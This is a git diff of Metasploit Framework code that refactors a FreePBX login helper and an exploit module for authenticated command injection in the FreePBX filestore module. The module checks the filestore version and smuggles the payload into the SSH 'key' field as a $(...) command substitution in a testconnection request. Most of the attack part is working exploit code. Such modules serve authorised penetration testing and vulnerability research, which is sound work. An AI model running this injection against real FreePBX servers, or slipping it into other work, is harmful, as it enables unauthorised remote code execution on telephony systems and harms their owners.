diff --git a/lib/msf/core/exploit/remote/http/freepbx.rb b/lib/msf/core/exploit/remote/http/freepbx.rb index 7d3f5d1e44..e687892e49 100644 --- a/lib/msf/core/exploit/remote/http/freepbx.rb +++ b/lib/msf/core/exploit/remote/http/freepbx.rb @@ -8,6 +8,14 @@ module Msf # Shared routines for FreePBX modules # module FreePBX + # Get the admin config URI + # + # @return [String] Admin config URI path + # + def freepbx_admin_uri + normalize_uri(target_uri.path, 'admin', 'config.php') + end + # Get the Referer header for FreePBX requests # # @return [String] Referer URL @@ -15,10 +23,11 @@ module Msf def freepbx_referer host = datastore['RHOSTS'] || rhost host = '127.0.0.1' if host == '::1' || host == 'localhost' - "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{rport}#{normalize_uri(target_uri.path, 'admin', 'config.php')}" + protocol = datastore['SSL'] ? 'https' : 'http' + "#{protocol}://#{host}:#{rport}#{freepbx_admin_uri}" end - # Authenticate with supplied credentials and return the session cookie. + # Authenticate with supplied credentials and return the session cookie # # @param username [String] FreePBX username # @param password [String] FreePBX password @@ -26,54 +35,77 @@ module Msf # @return [String,nil] the session cookies as a single string on successful login, nil otherwise # def freepbx_login(username, password, timeout = 20) - # Get initial session and login page - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), - 'method' => 'GET', - 'headers' => { 'Referer' => freepbx_referer } - }, timeout) + cache_key = "#{username}:#{password}" + if @freepbx_auth_cache && @freepbx_auth_cache[cache_key] + return @freepbx_auth_cache[cache_key] + end + data = freepbx_get_login_page_data(timeout) + res = data[:response] return nil unless res - # Extract session cookie cookie = res.get_cookies return nil if cookie.empty? - # Extract CSRF token if present - token = nil - if res.body =~ /name="token"\s+value="([^"]+)"/ - token = Regexp.last_match(1) - end - - # Login POST - post_data = { - 'username' => username, - 'password' => password - } - post_data['token'] = token if token - - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), + login_response = send_request_cgi({ + 'uri' => freepbx_admin_uri, 'method' => 'POST', 'cookie' => cookie, 'headers' => { 'Referer' => freepbx_referer, 'Content-Type' => 'application/x-www-form-urlencoded' }, - 'vars_post' => post_data + 'vars_post' => { + 'username' => username, + 'password' => password + } }, timeout) - return nil unless res + return nil unless login_response - if res.code == 302 || (res.code == 200 && !res.body.include?('Login')) - new_cookie = res.get_cookies - - return new_cookie unless new_cookie.empty? - - return cookie + body_lower = login_response.body.downcase + if body_lower.include?('invalid username or password') && body_lower.include?('obe_error') + @freepbx_auth_cache ||= {} + @freepbx_auth_cache[cache_key] = :auth_failed + return :auth_failed end - nil + return nil unless login_response.code == 302 || (login_response.code == 200 && !login_response.body.include?('Login')) + + new_cookie = login_response.get_cookies + result = new_cookie.empty? ? cookie : new_cookie + @freepbx_auth_cache ||= {} + @freepbx_auth_cache[cache_key] = result + result + end + + # Get or create the login page data + # + # @param timeout [Integer] Request timeout + # @return [Hash] Hash with :response and :detected keys + # + def freepbx_get_login_page_data(timeout = 20) + return @freepbx_login_page if @freepbx_login_page + + res = send_request_cgi({ + 'uri' => freepbx_admin_uri, + 'method' => 'GET', + 'headers' => { 'Referer' => freepbx_referer } + }, timeout) + + body_lower = res&.body&.downcase || '' + detected = (res&.code == 200) && ( + body_lower.match?(%r{freepbx\s+administration}) || + (body_lower.include?('freepbx administration') && body_lower.include?('loginform')) || + body_lower.include?('assets/js/freepbx.js') || + body_lower.include?('freepbx-navbar') || + (body_lower.match?(/id=["']loginform["']/) && body_lower.include?('freepbx')) + ) + + @freepbx_login_page = { + response: res, + detected: detected + } end end end diff --git a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb index 3a039e8825..53f1700e2b 100644 --- a/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb +++ b/modules/exploits/unix/http/freepbx_filestore_cmd_injection.rb @@ -83,36 +83,49 @@ class MetasploitModule < Msf::Exploit::Remote end def check - cookie = freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) - return CheckCode::Unknown('Authentication failed') unless cookie + data = freepbx_get_login_page_data + unless data[:detected] + vprint_status('Target does not appear to be FreePBX') + return CheckCode::Safe('Not FreePBX') + end - # Try to get filestore version - version = get_filestore_version - return CheckCode::Appears('Filestore module is accessible') unless version + cookie = authenticate + return CheckCode::Detected('Invalid credentials') if cookie == :auth_failed + return CheckCode::Safe('Not FreePBX') if cookie.nil? - # Version 17.0.3 and above are patched - return CheckCode::Safe("Patched filestore version #{version} detected") unless Rex::Version.new(version) < Rex::Version.new('17.0.3') + version = get_filestore_version_cached(cookie) + return CheckCode::Detected('Filestore module version could not be determined') unless version - # Version 17.0.2.36 is the first vulnerable version (file was introduced in this version) - return CheckCode::Safe("Filestore version #{version} is not vulnerable (vulnerability introduced in 17.0.2.36)") if Rex::Version.new(version) < Rex::Version.new('17.0.2.36') + version_obj = Rex::Version.new(version) + return CheckCode::Safe("Filestore module patched (version #{version})") if version_obj >= Rex::Version.new('17.0.3') + return CheckCode::Safe("Filestore module version #{version} not vulnerable") if version_obj < Rex::Version.new('17.0.2.36') - CheckCode::Appears("Vulnerable filestore version #{version} detected") + CheckCode::Appears("Filestore module vulnerable (version #{version})") + end + + def exploit + cookie = authenticate + fail_with(Failure::NoAccess, 'Invalid credentials') if cookie == :auth_failed + fail_with(Failure::Unknown, 'Connection error') if cookie.nil? + + get_filestore_version_cached(cookie) + execute_command(payload.encoded, { cookie: cookie }) end def authenticate - @cookie ||= freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) - fail_with(Failure::NoAccess, 'Authentication failed') unless @cookie - @cookie + data = freepbx_get_login_page_data + return nil unless data[:detected] + + freepbx_login(datastore['USERNAME'], datastore['PASSWORD']) end - def get_filestore_version - authenticate unless @cookie + def get_filestore_version_cached(cookie) + return @filestore_version if @filestore_version - # Get version from the filestore page HTML (JavaScript includes version) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'config.php'), - 'cookie' => @cookie, + 'cookie' => cookie, 'headers' => { 'Referer' => freepbx_referer }, 'vars_get' => { 'display' => 'filestore' @@ -121,14 +134,18 @@ class MetasploitModule < Msf::Exploit::Remote return nil unless res&.code == 200 - # Extract version from JavaScript file reference: filesystem.js?load_version=17.0.2.44 match = res.body.match(/filesystem\.js\?load_version=(\d+\.\d+\.\d+\.\d+)/) - return nil unless - match[1] + return nil unless match + + version = match[1] + vprint_status("Filestore module version: #{version}") + @filestore_version = version + version end - def send_filestore_request(vars_post = {}) - cookie = authenticate + def execute_command(cmd, opts = {}) + cookie = opts[:cookie] + fail_with(Failure::BadConfig, 'Missing authentication cookie') unless cookie send_request_cgi( 'method' => 'POST', @@ -143,24 +160,13 @@ class MetasploitModule < Msf::Exploit::Remote 'command' => 'testconnection', 'driver' => 'SSH' }, - 'vars_post' => vars_post + 'vars_post' => { + 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}", + 'port' => rand(1024..65535).to_s, + 'user' => Rex::Text.rand_text_alphanumeric(8), + 'key' => "$(#{cmd})", + 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}" + } ) end - - def execute_command(cmd, _opts = {}) - send_filestore_request( - 'host' => "#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}.#{rand(1..255)}", - 'port' => rand(1024..65535).to_s, - 'user' => Rex::Text.rand_text_alphanumeric(8), - 'key' => "$(#{cmd})", - 'path' => "/#{Rex::Text.rand_text_alphanumeric(8)}" - ) - end - - def exploit - authenticate - version = get_filestore_version - vprint_status("Filestore module version: #{version}") if version - execute_command(payload.encoded) - end end